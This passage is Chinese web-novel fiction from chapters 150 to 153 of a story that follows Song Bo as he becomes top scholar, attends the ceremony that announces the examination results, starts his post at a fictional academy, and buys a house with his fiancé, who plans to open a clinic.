周遭百姓哪儿见过这种场面,家住隔壁的从家里探出头来,路过的则停下脚步,没一会儿宋家门前便聚集了不少看热闹的百姓们。 “今日上门,便是为了庆贺宋公子喜得状元一事。”捷报官一抬手,头个托着托盘的官差便抬步上前,捷报官将托盘上头盖着的红布一掀,盘上放着宋泊的身份文书,状元的身份文书与寻常人都不同,用纸上乘,贴纸的绸布还绣有金纹,远远瞧来便觉华贵。 捷报官拿过文书递给宋泊,“宋公子尽可瞧瞧,若哪儿有问题可当场提出。” 宋泊双手高抬接过文书,在捷报官面前打开来,与江金熙一起瞧着,这文书不止外包装华丽,里头的字都用的暗金墨,金色在黑墨中流转,富贵华丽。 江金熙仔细看着文书内容,一字一句逐字读过去以后,与宋泊轻轻点了个头。 皇家出品的东西哪儿敢出错,宋泊也是以防万一让江金熙瞧上一眼,确定真的没错以后,他与捷报官行了一礼,道:“多谢捷报官。” “哪儿的话,能给宋状元送贺礼可是我的福分。”捷报官见宋泊收了文书,高抬着声量说:“今宋泊喜得状元,又得**之名,双喜临门,圣上欢喜,特赏赐贺礼数件——”后头跟着的官差听着捷报官如此说着,便把东西抬入宋家院子当中。 边上看热闹的百姓一听这宋府出了状元还不止,竟还得了**,一时间议论纷纷。 趁着那些官差往院内搬东西的时间,宋泊站到捷报官身旁,塞给他一包红包。 给状元当捷报官的人官阶不低,上门来一趟人力、物力耗去许多,宋泊这红包包出去十五两银子,聊表心意,不算磕碜。 捷报官喜滋滋地收了宋泊给的红包,嘴上吉言道:“听闻宋公子还是**,往日定仕途顺畅,步步高升。” “借捷报官吉言。”宋泊笑着再行一礼。 捷报官见官差们把东西都安置妥当后,便与宋泊他们告别,今日实在忙碌,不止要走宋泊这一家,还得去把后头另外两个一甲考生的院子走了去。 “捷报官慢走。”宋泊出言送道。 捷报官身后跟着一列队又敲锣打鼓地走了,边上的百姓们赶忙凑上来庆贺,不说拿喜钱,就是与状元说上两句话沾沾喜气也好。 宋泊、江金熙和宋茶栽一人拿着一个钱袋,给说贺言的百姓们发喜钱,路砚知站与一旁目瞪口呆,只想着过几年他上了榜,莫不是也这般架势。 往日瞧着这些百姓还好,今日瞧来像是要吃人似的,吓人得很。 热闹着,一早上时间眨眼即逝,连正常的午饭时间都度了过去,比往常晚了一个时辰才吃上午饭。 将院子大门一合上,隔绝外头热闹的人声,宋泊才觉着自己的脑瓜子清静下来。 考科举有名次是好事,但后头这些庆贺的声音总让他应付起来有些心有余而力不足。 吃完午饭,路砚知便说着自己犯困,先进偏房睡觉去了。下午闲下来宋泊他们定要瞧瞧官府给的贺礼,总归他是个外人,不好在场瞧着。 宋泊、江金熙和宋茶栽走至院中,庭院里摆着大大小小形状不一的木箱子,大的足以装下一人,小的又只有巴掌般大小。 宋泊采取就近原则,从最近的箱子开起。 第一个箱子里放着两个青花瓷瓶,可以当花瓶使用;第二个箱子放的两套文房四宝,给宋泊补给文具 宋泊一个个开来,宋茶栽的嘴也越长越大,她是土生土长的近里村人,最远也就是今年与宋泊一道儿到了京城,这么多贺礼瞧来就价值不菲,她长到现在四十多年了,头一次大开眼界,京城官府的有钱程度还是超出了她的意料范围。 除去一些装饰用品,官府给了十匹绸布、两棵人参、三匹好马的契子,还有黄金八十两,可谓是下了血本。 普通状元不过得黄金二十两,这次官府这么大手笔,想来还是看了**的名头,状元易得,**可是不好得,百年来的**少之又少,宋泊是第二个,自得多多赏赐。 “这次竟没有地契?”宋茶栽奇道。 先前考试得了第一名官府都有送地,这下到了殿试第一反而不送地了,多少会让人觉着有些奇怪。 “京城地寸土寸金,哪儿有片闲地马上就会被租下或者买下,官府做不得巧取豪夺的事儿,便没多少空地在手中,只能送这些容易移动的物品。”江金熙瞧着那箱金灿灿的黄金,拿起一个掂量在手中,有些分量,是真物,“不过官府给了这么多黄金,算是变相给你安家费了。” “如此还是给黄金好些。”宋泊道:“送的地可能不合心意,这种实用的钱可以买自己喜欢的院子。” 说着可以买自己喜欢的院子,宋泊便想用这笔钱把现下这个院子买下,住了五月住得舒坦,一些家用物什也都填补进了院儿中,已经初具家样,只是不知后头分官会分到哪儿去,但总是要在京城有个属于自己的家,才好迎娶江金熙。 总不能让江金熙坐着花轿从京城坐到霞县。 “金熙。”宋泊唤道。 “嗯?”江金熙把金锭放回木箱当中,转过头来瞧宋泊。 “你可以帮我问问王房牙什么时候有空吗?我想把这地买了。”宋泊说。 听宋泊这么一说,宋茶栽赶忙开口道:“你可想明白了?买地可是大事。” 买地不比买其它东西,不喜欢还能退换,这地一买下来,不满意要再换可是麻烦得很。京城院子可是不便宜,就是之前贷主说会给他们打折,算来也得六百三十两。 “娶金熙总是要有处属于自己的地儿,不然哪儿有底气呐。”宋泊道。 只这一句便说服了宋茶栽。 确实,江金熙是京城中人,若她是江丞相,她可不愿意自己哥儿嫁给一个没房的人。 江金熙面颊微红,他悄悄从衣袖里拉了下宋泊的手,微垫着脚尖在宋泊耳边小声道:“怎还有我的事儿?” “你可是我未来夫郞,当然有你的事儿。”宋泊反手牵住江金熙的手,两人的手藏在衣袖底下十指紧扣,“你瞧瞧这院子你可喜欢,你若是不喜欢我得紧着找下个院子去。” “不得麻烦。”江金熙认真看着宋泊,“这院子离皇城近,往后你得了官要上朝也方便些,无需起早贪黑。” “不愧是我的未来夫郞,就是贴心肝儿。”宋泊调笑道:“得夫郞如此,夫复何求?” “又嘴贫了是不?”江金熙横眼瞪了宋泊一眼。 两人在一起久了,宋泊的小性子便逐渐暴露出来,他与宋泊在一块儿时,宋泊有时便会如现在一般说出些不着调的话来,不过若有外人在场,他便会注意着话,还是那副文质彬彬的模样。 如此江金熙也不知道是该喜还是该怒,总之在宋茶栽面前他有些羞得慌。 “不贫不贫。”宋泊赶紧说回正事儿,“你问问那王房牙可否帮我捎信去贷主那儿,早一日我也早安心。” “我觉着还是过两日再喊他捎信去。”江金熙说。 “为何?”宋茶栽不解地问着,既然宋泊和江金熙对这个院子都没有意见,她作为大姑也不该插手小辈的事儿,只是既然满意这院子,作何不早些定下呢? “过两日等宋泊的名声传了出去,没准那贷主还能再降些银两呢。”江金熙道。 恒国读书人的地位很高,那贷主如果知道宋泊既是状元又是**,肯定愿意卖他个面子,以低价把院儿卖了。 如此一来那贷主逢人也可说他的院儿卖给了今年状元,风光一把可是名声、银两全收。 “好似是这个理。”宋泊都没有想到这深层的道理,现代虽然也有名人效应,却没有古代这般看重,得了状元已经算是踏入官途的人了,行事之间总有便利。 “那便依金熙所言。”宋泊道。 150-160 第151章 第一百五十一章传胪大典。 四月二十日,宋泊起了个大早,今日要进皇城内参加传胪大典,这可是件大事,一点儿错都不能出。他将捷报官送来的深绿色进士服穿上,脚上在踩一长靴,浓密乌黑的头发用三枝九叶冠高高束起,往镜子前一站便是个翩翩君子。 传胪大典这般大事,宋茶栽断是睡不着的,宋泊起来穿衣忙碌,她也在厨房中做早食忙碌。宋泊寅时中就得抵达皇城门口,这一去不知道何时才能出来,早食不吃得好些、饱些,到时饿晕过去可不成。 等宋泊穿戴整齐从屋里出来时,宋茶栽的早餐也备好了,今日早食吃包子和豆浆。 瞧着宋泊一身进士服在身,宋茶栽不禁感叹道:“这身衣服可真好瞧,像是专门与你定做似的。” 宋茶栽这话逗笑了宋泊,这进士服一点儿也不修身,身高一米八五到一米七五的都能穿来,哪来个定做的说法。 不过他也没打算扫宋茶栽的兴,他双手抬起呈“一”字,在宋茶栽面前悠悠转了个圈,全方面展示进士服的模样,“可好看?” “好看得不得了!”宋茶栽两眼都是喜爱,自家侄儿真是出息了,连进士服都穿上了。 细细看了会儿,宋茶栽晃过神来,招呼宋泊赶紧坐下吃早食,传胪大典之前这些进士们还得在宫门口听太常培训,可迟不得。 宋泊算着时间,细嚼慢咽将三个肉包子吃下,又喝了一杯豆浆,这才起身坐上去宫门口的马车。 上回捷报官送了三匹好马来,宋泊当即去选了个现成的车厢,如今他也是拥有自己马车的人了,只是那车夫还未去牙行找,先从车行里借了个人出来。 等会恒文帝便会赐与他们官位,进士及第的三人都会在京城做官,得官以后,他再和江金熙一道儿去牙行选些侍人回去。 虽说院子不大,但到底要些把门、驾车的侍人在。 马车行驶在京城街道,夜深人静之时一片寂静,宋泊掀开车窗帘往外一瞧,只有边上店铺灯笼亮着有些生气。 冷风忽的吹过,宋泊将车窗帘重新放下,在车厢内坐好。 其实今日江金熙也想来的,但这种授官的时候,最好不要与江丞相有关系,尽管宋泊是因着自己的实力得的状元,但被别人瞧着总是容易出问题。等授官文书下来,一切尘埃落定,那时候便就不怕别人参言几句了。 马车行到宫门口,这次停着的马车便没有上回看金榜时的多。 姜升比宋泊早些时候抵达宫门外,眼瞧着宋泊的马车来了,他几步迎了上去。 见宋泊下了车,他笑道:“宋同学,你这身进士服可真是惹人羡慕呐。” “你也穿着进士服呢,何谈羡慕?”宋泊回道。 姜升身着深蓝色进士服,与宋泊的深绿色差不多,只是领口、衣袖处的金色滚边变成了黑色滚边。 “说来也是,我也得了身进士袍。”穿着这身深蓝色的进士袍,姜升心底也是美滋滋的,无论等级如何,到底是有了一身。 正与姜升说着话,宋泊便瞧着太常卿带着一众太常官员从远处走来,他与姜升提示一句,便站于进士之首的位置。 太常卿一来先点了进士们的名儿,然后检查了一番进士们的文书,又由他的下属官员一一比对过画像,确定没有人冒名顶替以后,才说着等会传胪大典的规矩。 传胪大典对太常来说十分重要,等会百官列位文和殿,若是谁出了错,除了让其他官员笑话以外,没准还会挨恒文帝的批,最后落个贬官的下场可是无处说理。 “宋状元,等会唱名之后,你可得找着御道中线,于那处跪拜圣上。”太常博士与宋泊交代着。 宋泊是进士之首,拥有独享御道中轴线拜位的权利,虽说进士及第有三人,但状元总是比榜眼和探花多些特权。 传胪大典之上,众官员定然会把视线锁定在进士及第之人的身上,故而前三名的行为、仪态可是重要,身边各有一太常博士跟着,手把手教着他们传胪大典该遵循的礼仪。 太常博士怕宋泊一下记不得这么多东西,还特意领着他走了三遍,有过实际动线以后,宋泊才算对那些该遵守的规律有了实质性的记忆。 古代就是这点儿麻烦,但凡与圣上沾上边的活动,不仅流程繁复,还得谨慎小心之。 天边出现一抹新阳,一个半时辰过去,到了传胪大典的时候。 太常卿和太常少卿先去了文和殿,由太常博士领着进士队列前往文和殿。 文武百官列位大殿两侧,中间空出一片,专为进士们而留。 鸣鞭三响,而后礼乐声起,恒文帝就在这般隆重的乐声当中走上上座,端坐。 恒文帝坐定,新科进士与两侧官员纷纷跪下,只等恒文帝说了“平身”,众人才起来。 太常卿从列队出列,高喊:“景和三十六年四月二十日,策试天下贡士,第一甲赐进士及第,第二甲赐进士出身,第三甲赐同进士出身。” 接着他拿出一个册子,喊名宣官:“一甲状元宋泊,赐天少阁郎君。” 闻名,宋泊从进士队列里出来,到御道中轴线跪下礼拜。 状元独一份的殊荣,只有宋泊享独自跪拜,恒文帝及文武百官的视线都落在宋泊身上。 宋泊落落大方起身,又退回进士队列中,恒文帝不着痕迹地微点了下头,对宋泊很是满意。 “一甲榜眼谢长,赐天少阁少郎君。” “一甲探花沈端墨,赐天少阁少郎君。” 榜眼和探花需要一块儿出列行礼,宋泊身后两人一道走了出去,他这才将人名与人对上号。 谢长和沈端墨都是京城考生,两人自京城长大,身上带着股贵公子的气势。 往后三人在一个地方干活,可得维护着关系。 两人行完礼回来,宋泊朝两人点了下头,两人也回以轻点头。 太常卿只报一甲三人的名儿及官职,二甲由太常少卿报名,三甲等传胪大典结束自行去太常报道领职。 一甲和二甲的人加起来十五人,如此人数当殿报名还算快,若是再加上后头三甲的名儿,可不知要报多久,等会恒文帝听着乏了可不好。 赐官结束以后,恒文帝开口说了几句话,传胪大典就算是结束了。 所有进士再次谢过恒文帝后,由太常博士领着,原路返回出了宫门。 宫门外停了三匹高头大马,前头最高又脖子上带红色绸花的乌色骏马是宋泊的马,他与谢长、沈端墨一起,得坐马巡京城一圈,这是恒国自开国以来的习俗,可是一甲出风头的时候。 宋泊不会骑马,为了这件事儿他还紧急特训,用捷报官送来的马匹练了练,经过三天特训,只要有人牵着马,他还是能稳住身形不拉跨的。 谢长和沈端墨应是没少接触马匹,两个人一个比一个利索地翻身上马,可是英俊潇洒。 宋泊小声与牵着他马匹的人交代了句,让他紧紧牵好马,如此才脚踩马镫,谨慎小心地翻身上马。 待三位进士都坐好,游街的队伍才开始悠悠往外走。 这游街的马匹选的极好,品相端正不说,脾气还好,由官差在边上牵着,一步一步走得沉稳,就是宋泊这样的骑马小白也能稳坐马匹之上挺直腰杆丝毫不慌。 游街的队伍从宫门外往市中走,一到市集,可是不少人守在街边等着一瞧状元、榜眼、探花三人的风采。 江金熙早早就在市集边上抢了个好位置,他找了个楼层高的茶楼,又包下茶楼高处靠窗的厢房,只为第一时间瞧上宋泊的风采。 宋泊凌晨不让他跟着去他本就遗憾,现下状元游街可得好好瞧瞧。 锣鼓乐声越来越近,江金熙、宋茶栽和路砚知纷纷走到窗边往下敲。 先是两个拿着进士及第牌子的人走在前头,接着便是宋泊骑着高头大马来。 三位进士身上都有不少东西落着,像是什么香囊、鲜花之类的,都是哥儿、姑娘家表示好感的物什。 宋泊身上倒是干净一些,他两手紧攥着马鞍上的把儿,扔来的香囊和鲜花都从他身边落下,有些不巧落进他怀里的,他还会不着痕迹改换手势把那些东西撩下去。 江金熙与宋泊说过他会在哪儿等着他,宋泊瞧着路边茶馆的招牌,抬起头来,江金熙就站与窗前往下望。 在与宋泊视线接触的一瞬间,江金熙觉着自己可能被妖精迷去了心智,窗下人一席深绿色进士服,面容俊美,正弯弯眉眼与他对视。 宋茶栽见江金熙手里攥着香囊,眼睛一眨不眨盯着宋泊瞧,赶紧碰了他的手臂一下,“愣什么呢,快丢香囊呀!” “对呀,宋弟可是快走远了。”路砚知跟着道。 这游街的队伍越走越过去,再不丢可就丢不着宋泊怀中了。 江金熙被两人一提醒,缓过神来,他捏好香囊,瞄着宋泊便往下一丢。 宋泊不会骑马,不能两只手都腾出来接香囊,但他又不想错过江金熙的香囊,只那一瞬,他盯着香囊的抛物线,在它即将从身边擦过之时,伸手将它捞入怀中,而后他捏着香囊上的挂线,抬头冲江金熙说道:“我接着了。” 状元游街可引不少人来瞧,宋泊如此便是在众百姓面前表示自己名草有主。 江金熙听着宋泊的话,面颊红起,他也真是,接着便接着还要出言说,可真是羞人。 江金熙脑子如此想着,心底却升起一股说不上的劲儿,甜到腻人。 第152章 第一百五十二章开工! 传胪大典过后,宋泊让王房牙送信给贷主,这名声打了出去,看在状元的份上,贷主应该会减去些银两。 早上时间被传胪大典占去,下午宋泊和江金熙便一道儿去牙行买侍人。 江金熙与宋泊并肩走在街市上,随口问道:“你想买些什么人在家中?” “马夫和看门杂役定要有,我不需要人伺候,但还是得留两个侍人等客上门时用,如此便贷四人好了。”宋泊道。 侍人之间亦有细分,恒国国富民合,卖身的侍人很少,大多都是有时限的贷身侍人。 “要不要将简言接来?”江金熙道:“你总要心腹帮忙的。” 现在不比以前,天少阁郎君虽然只是个从六品的官,确也需要心腹在旁侍奉,官场上弯弯绕绕许多,买的、贷的侍人会不会变心谁也说不准,只有从小就与他们一块儿的简言值得信赖。 “也是有理。”宋泊思索了下,觉着这个提议可行,“对了,百安馆那儿可有传信儿来?” 一离开百安馆便离了五月之多,单单吴末一人支撑着百安馆,不知运作如何。 “今日晨儿信件便送到了。”江金熙道。 吴末念着宋泊要参加会试和殿试,便没送信来叨扰,他算着日子,信送到的时候殿试和放榜都过了。 江金熙把吴末送来的信从衣襟里拿出来,信上吴末写了百安馆的运行状况,医馆的营收每月都会上升,现如今一月净收入能有十多两,算是步入正轨了。 “吴师叔还是吴师叔,百安馆交与他我们也放心。”宋泊道。 多年干医馆生意的人总是有经验,有吴末带着,百安馆少走了很多弯路。 “那我捎封信去让简言带着常乐来京城?”江金熙问。 常乐是他们养的狗,快半年未见着还有些想念。 “好,让他们找个信得过的人带简言来。”宋泊道。 简言不过十一岁,还是个孩子,让他一人从霞县赶到京城,宋泊是怎么也放不下心的。 “我让阿朝过去接他。”江金熙道。 走官道来回最多一个月,阿朝有多次驾驶这条官道的经验,派他去接简言正合适。 “好。”宋泊道。 到了牙行,周遭牙人都凑了过来,早晨宋泊骑马游街,那些个牙人都看了热闹,自识得宋泊的模样,一瞧着是新进状元来买侍人,牙人们都卯足了劲儿介绍自己家的侍人,毕竟能让状元家买去也是殊荣一件。 江金熙买过侍人,他的经验较为丰富,宋泊便按着他的推荐,买了个马夫、一个厨娘、三个侍人,如此便够了。 翌日天未亮,宋泊便起了床,当官就是这点儿不好,天未亮就得起床赶去皇城上朝。 宋泊穿好自个儿的官服,带好腰牌,吃了厨娘许婆婆做的早食,坐上阿丁驾驶的马车前往皇城。 他们这些新晋进士头回当官,还未去工*作地方看过眼,上朝也只是走流程而已,宋泊站于天少阁的队列之中,倒是认清了自己的领导。 天少阁跟翰林院的职责差不多,都是负责修史、编书的地儿,只是恒国没有翰林院,设的是天少阁。天少阁也算是进士们升官的必经之路,靠近中央权力,前途光明。 下了朝,宋泊便去了天少阁,天少少卿步子快,比他们早一些到天少阁,正好给他们领路。 天少少卿领着宋泊、谢长和沈端墨进了明净轩,明净轩左侧有一套办公桌椅,右侧则装了两套,“这儿就是你们工作的地方。” “宋泊坐左侧,谢长和沈端墨坐右侧。”天少少卿道。 状元还有这般特权,可自己独占一边,坐一套办公桌椅。 宋泊入座位置当中,才觉着自己当真是当了官,身后书卷传来阵阵墨香,他喜欢这个环境。 “等会儿天少博士会来教你们做活,这段时间你们且瞧瞧后头书架上的资料熟悉熟悉。”天少少卿说完话便出了明净轩。 “这资料可真是厚实。”谢长先从后头书架上拿了本书来,厚厚一本书拿在手中颇有分量。 “还行吧,咱们考试用的书不比这厚些?”沈端墨接话道。 这么听来,谢长和沈端墨应当是在同一间学府学习的同学,说话之间总有一股熟络感。 沈端墨从位置上起来,走到宋泊桌前站定,“听说你是从南面来的?” “是,从近里村来。”宋泊大方答道。 “村?”谢长听着这字儿,把手里的资料搁在桌上,也凑了过来,“村就是那种几户人家互相识得,一村最多五十人的村吗?” “是的。”宋泊答,近里村究竟有多少村民他也不清楚,五十多人大抵是有的。 “有趣。”谢长搬了把凳子在宋泊边儿坐下。 京城里的人没见过村儿上来的人,谢长好奇村里生活,缠着宋泊问了很久。 宋泊也是很有耐心,谢长问什么他便答什么,只是沈端墨时不时会插上来几句话,每句话都夹枪带棒,好似有些瞧不起南方人的意味。 工作总会遇见不同的人,沈端墨就是那种典型待在京城里觉着自己高人一等的人。 “没想着南面也有好学府,都养出状元了。”沈端墨道。 这话听来多少有些阴阳怪气,宋泊虽然好脾气,但却不会让人踩到他头上去,“状元不问出处,南面也并非如你所想那般贫瘠。” 宋泊抬眸瞧着沈端墨,“探花郎是不是忘了四书五经,怎么思想都狭隘起来了?” “你。”沈家在京城也算是个百年大家,沈端墨作为其中一员,哪儿受过这般气,他一掌拍在宋泊的桌上,正想说些什么,天少博士便来了明净轩,打断了两人的对话。 沈端墨一身气性坐回位上,徒留谢长一脸愣逼,不知怎的气氛会变为如此。 天少博士讲了一个时辰,将编纂的细节说清后,便放宋泊他们自己工作。 午时,宋泊前往珍香轩用午饭,天少阁这点儿挺好,食堂离明净轩很近,不过几十步路就到了。 宋泊初到天少阁,没有熟人也没有以前同学,只能一人独自用餐。 天少卿在这时与天少少卿一块儿到了珍香轩,见宋泊一人用餐,便拿了餐盘与他同坐,沈端墨瞧着这幕,藏在桌底下的手不自觉握起了拳头。 宋泊见天少卿和天少少卿往他这儿走,起了身与两人行礼。 “吃饭没那么多规矩,坐吧。”天少卿笑着说道。 宋泊与天少卿和天少少卿一同坐下。 “初来天少阁可还适应?”天少卿问道。 天少卿是个五十多岁头发半白的老者,他身量不高,有些肚腩,瞧来是个善人面相。 宋泊答着:“适应的,天少阁工作环境很好,我很喜欢。” “适应便好。”天少卿爽朗地哈哈笑了两声,“听闻你自参加科举以来全是一举夺魁,咱们这天少阁有了你,可是得了一大助力啊。” “天少卿谬赞。”宋泊谦虚答道:“我该学的还有很多,还望天少卿与天少少卿不嫌我笨就是。” “新晋状元哪儿笨得了,你可是太谦虚了。”天少少卿说。 宋泊与天少卿和天少少卿坐一桌说了不少人情往来的话,让宋泊一顿饭只吃了一半,捱到下班时已然饥肠辘辘。 “宋同僚,明日见呐~”谢长与宋泊一道儿出了天少阁,他乘上马车之时还撩开车窗帘与宋泊道别。 谢长此人和善,宋泊也乐意与他打交道,便抬了手与他告别。 沈端墨在两人之后出来,他瞧着与车夫交流着的宋泊,又瞧不起他的马车,南面人就是南面人,连马车也寒酸。 宋泊背对着沈端墨,自不知道沈端墨做了何种表情。 “主君,那是您同僚吗?”阿丁瞧着沈端墨远去的马车,问宋泊。 沈家马车上挂了沈家旗,一眼便能识得,“是啊,怎么了?” 阿丁斟酌了下,还是决定说出自己的所见,“他刚刚于你身后翻白眼被我瞧着了” “无妨,此人只是同僚,他做的事不必往心里去。”宋泊道。 “是。”阿丁应声。 回到宋家,守门的阿军开了院门,累了一天的宋泊刚走进正房,便瞧着江金熙坐在房内。 “你怎的来了?”宋泊惊喜道,一天的疲倦在瞧着江金熙的时候一扫而空。 “今日你不是第一天当官嘛,我便来瞧瞧你。”江金熙从位上起来,接过宋泊拎着的匣子,“如何,可还行?” “还行,只是那探花郎不大友好。”宋泊道,江金熙已经是他的未婚夫郞了,宋泊便想与他分享事儿。 “探花郎?”江金熙脑袋微微一歪,有些疑惑。当时看榜他只瞧着宋泊的名儿,后头的榜眼和探花是谁他一点儿也不记得。 “他叫沈端墨。”宋泊道。 江金熙这才恍然大悟道:“噢——是他啊。” “这般听来你认识此人?”宋泊道。 “他爹是卫尉卿,九卿之一,他在这般环境长大自小到大总是用鼻孔看人,嫉妒心强,朋友不多。”江金熙道,这人以前还喜欢过他,不过被叶单越的武力唬了去,后头也放弃了,不过这事儿都是过去式,没必要拿出来说与宋泊烦心,“原来他成了探花郎,难怪他会对你不友好。” “可是瞧不起我为状元?”宋泊猜道。 “大概是。”江金熙说:“无论这状元是你,还是别的什么人,他都瞧不上眼,毕竟在他心里他才是那个状元。” “如此倒是说通了。”经过江金熙这么一提,宋泊才知晓沈端墨那无端的恶意是从何而来。 第153章 第一百五十三章买房。 像那种妒天妒地的人,宋泊便打算理他远些,没准哪日他就如炸弹般爆了,也别炸着他。 “先不说他了,你来看看这个。”江金熙有些激动着将自己的医书拿来,历经两年多,他总算写出一本自己的医书。 “我瞧瞧。”宋泊伸手拿来,仔细翻了几页,江金熙的医书写得很有条理,每个草药分区明了,还唤了画师画了草药图片,老百姓若买着这书,便可依着上头方子,治些简单的病。 “这书写得真好,出了的话能给我一本签名版吗?”宋泊小心将医书还到江金熙手中。 “那当然!”江金熙欣然应声,“等出了书,你想要几本我便与你几本。” 这就是家里人出书的好处,想要几本完全不用害怕断货。 江金熙将医书收好,转头又与宋泊说道:“还有一事我想与你商量。” “你说。”宋泊应声。 “我想把百安馆开到京城来。”江金熙道。 先头一直忙碌着宋泊科举的事儿,现下宋泊也在京城定了官,他便想重拾就业,再将医馆开起来。 “你是要将百安馆从霞县搬来,还是要开分店?”宋泊问。 “自然是开分店。”江金熙答。 将百安馆开遍恒国可是江金熙的一个梦想,哪儿可能将霞县的百安馆关了搬到京城来。 “那当然好!”宋泊想也没想便回答着,开医馆好啊,江金熙喜欢的事儿他当然要全力支持,自家夫郎说出去是个大夫,听来多有面儿。 如此江金熙便敲定了开医馆的事儿,这次开医馆他不打算靠家中关系,全用自己自小到大存的小金库来贷商铺。 自得了官,宋泊从天少阁回宅子后从来没闲过,今日这儿宴席请他,明日那儿宴席请他,虽然他不乐意回回参加,但初入京城还是得低调行事。 四月二十五日,难得今日无宴席,宋泊从天少阁回来后,便听着门口的阿军说来了个房牙,在院子亭内等他。 原是王房牙来了。 “宋郎君,贷主送信回来了,他那院子原卖七百两,前头答应降一层,我此番送信过去,他同意再降一层,也就是五百六十两卖您。” 宋泊得了官,称呼自然也得换上。 王房牙一来就带了个好消息,宋泊原以为贷主再降也只会降到六百两,没想着直接八折与他,算是反向又赚了四十两,可是合适。 “明日过房契可成?”宋泊问。 天少阁做五休一,明日正是他休沐的时候,去王房牙那儿把院子买下,再顺眼瞧瞧江金熙的商铺,两趟事当一趟做,可省去不少时间。 “自然成,只是我早上要领人看院子,下午未时中您可有时间?”王房牙问。 “可以。”宋泊道。 与王房牙定了时间,宋泊便使唤着阿军去丞相府报信,跟江金熙说一声,明日才好一起看商铺。 * “老师可是好福气,定的儿婿得了状元。”林武玉正在丞相府内与江丞相泡着茶。 林武玉贬官到南边三年,前一月重新被调回京城,一周前才到,将自己的住所、公事理清楚之后,今日才得空来丞相府拜访江丞相。 “我们宗正可是很多人瞄着他,听说是老师您早定下的儿婿,这才遗憾放弃。”林武玉笑道。 “也是金熙眼光好。”江丞相端起茶杯吹了口气喝下,这宋泊也算是有本事,既拿了状元还得了大/三元,当他儿婿勉强够格。 林武玉跟着喝了口茶,在正厅里随意瞧着时瞥着墙上挂着一幅新字,上头墨迹很新,应该是新写的字,“咦?老师您这幅字” “宋泊给的。”江丞相大方说着。 年前宋泊来提亲时拿了不少贺礼,他亲手写的书法便是其中之一,江丞相之前便很喜欢宋泊的字,这下有了新的书法,他马上就给挂了起来。 不少官员过来找他谈事时都瞅着这新字,可是给他长了不少面。 林武玉从位置上起来,走到书法前仔细瞧着,先前他也见过宋泊的书法,如今再瞧着只觉他书法更加精进,他心底一阵羡慕,只想着往后能有机会让宋泊也给他写一张。 两人正闲聊着,江丞相便见江金熙领着青桥步履匆匆往外走。 江丞相让身边侍人出去拦住江金熙。 “爹。”江金熙带着青桥进了正厅,他见林武玉也坐在厅内,可是惊喜,“林丞,你什么时候来的?” 林武玉迁回京城升了官,得了宗正丞的官职。 “一周前到的。”林武玉在京城瞧着江金熙也是高兴。 他们可是在传福镇共患难过,林武玉也当他们是自己小辈关照着。 “你这么着急哪儿去?”江丞相问,他并不是打算拦着江金熙,只是问个行踪而已。 “宋泊要把院子买了,我顺便去房牙那问问商铺。”江金熙实话实说。 之前他便与江丞相和江夫人说过自己要开医馆的事儿,两人都宠着他没说不行。 江丞相听江金熙这么说没再说什么,只叫他路上小心些。二十岁的哥儿有自己的想法,他该放手让他去搏一搏了。 “林丞,我先走了,改日得空,我再去府上拜访。”江丞相与林武玉行了一礼。 林武玉点了头,“你尽管忙你的就是。” 宋泊的马车在丞相府外等着,江金熙老远便见着宋泊笔直站于车厢边,身着一身靛蓝色衣袍,头发高束,整个人如一棵青松般。 宋泊看江金熙小步子朝他跑来,赶忙嘱咐一句,“小心些,别着急。” “可等久了?”江金熙跑至宋泊面前,问道。 刚刚被爹爹耽搁了会儿,这下出来可是过了半炷香时间。 “不久,我下来站会儿伸伸懒腰正好。”宋泊道。 在京城里坐马车坐得多了,身子骨都有些懒起来,过两日可得把运动的事儿重新拾回来。 两人坐着马车到王房牙的牙行。 王房牙早就等在门外,一瞧着宋泊的马车来了,赶紧双手交叠在腹前,勾起一抹笑。 “宋郎君、江公子。”王房牙殷勤地领着两人往牙行里走。 王房牙先把宋泊的合同拿出来,买院子的事儿两方都同意,那面贷主已经在合同上签了名盖了手印,只等宋泊也签上名盖上手印,这卖房合同就算成了。 宋泊拿笔沾墨,在一式三份的合同上签了自己的名儿,按个红泥手印,又把准备好的银票拿出来交与王房牙。 王房牙点着银票,发现多了个五两的小银票,他把那张银票挑出来,道:“宋郎君,一共五百六十两,您这多给了五两。” “给你的工钱,你且收着。”宋泊道。 王房牙在这半年帮了他们许多,能五百六十两买下这院子,他在给贷主写的信中肯定美言他不少。 王房牙瞧着江金熙的面儿又不收他中介费,给个五两算是情分钱。 “那我可不客气收下了?”没想着自己还有赏钱拿,王房牙眉开眼笑。 “尽管收。”宋泊道。 王房牙喜滋滋将赏钱手下,口中又与宋泊谢了几句,才弯到牙行内院给宋泊找房契。 在王房牙找房契的时候,宋泊和江金熙便看起了待租商铺册。 “这个离百姓们太远了不好。” “这个商铺太大了,我用不着那么大。” “这商铺怎么还建在半山腰上?可是想把病人累死?” 江金熙翻一页便点评一句,宋泊觉着好玩就没打断他,只听他一句一句往下说。 “这个好!”翻了十几页,江金熙忽而顿住,“宋泊你看,这个好不好。” 江金熙瞧中的商铺位于东南方位,那地儿是平民百姓聚集之处。因着京城达官贵族众多,他们多有自己的私人医师,医疗资源都往他们那儿倾斜,故而江金熙想开个医馆为百姓们看病,自要选在离百姓们近的地方。 宋泊挪了下凳子,离江金熙又近几分,他手臂一展,从江金熙身后环着他,看起图册。 两人贴得近了,江金熙还有些心猿意马,自游街以后宋泊一直戴着他绣的香囊,桂花淡淡的清香浸满全身,闻来可是好闻。 那商铺约有五亩地大,前院占地三亩,高十米,有三层,因为地处平民区,租金不高,一月十两,跟最便宜的院子一个租价。 “这院子好,三层楼,正好能把高层楼做成你手术的地儿。”宋泊道。 霞县的百安馆是平楼,没处儿能腾出来给江金熙当手术室用,让他可遗憾了。 “我也这么想的。”江金熙双眼亮晶晶,他与宋泊在一起久了,两人的思想相互靠近,有些想法不必言说便能想到一块儿去。 “先将它定下,我们再往后翻翻。”宋泊道。 贷商铺也得货比三家,图册才翻至三分之一,没准后头还有更好的商铺能贷。 等王房牙把宋泊的房契拿来,宋泊与江金熙也选好了预看的商铺。 “宋郎君,这是您的房契,您看看。”王房牙双手抬着房契,宋泊一手拿过打开来瞧,他没见过恒国的房契,再看也看不出是有问题还是没问题。 “金熙,你帮我瞧瞧这房契,可对?”宋泊捧着房契走到江金熙身旁半弯下腰拿与江金熙瞧。 江金熙歪着脑袋,自上往下看着房契内容,王房牙当牙人许久,还是官牙,在房契上出不了错,“这房契是对的,你可收好咯。” 一听这房契是正确的,宋泊心底儿可是美了,穿越到这世界这么久总算有了个自己的房子,他在恒国扎了根。 第154章 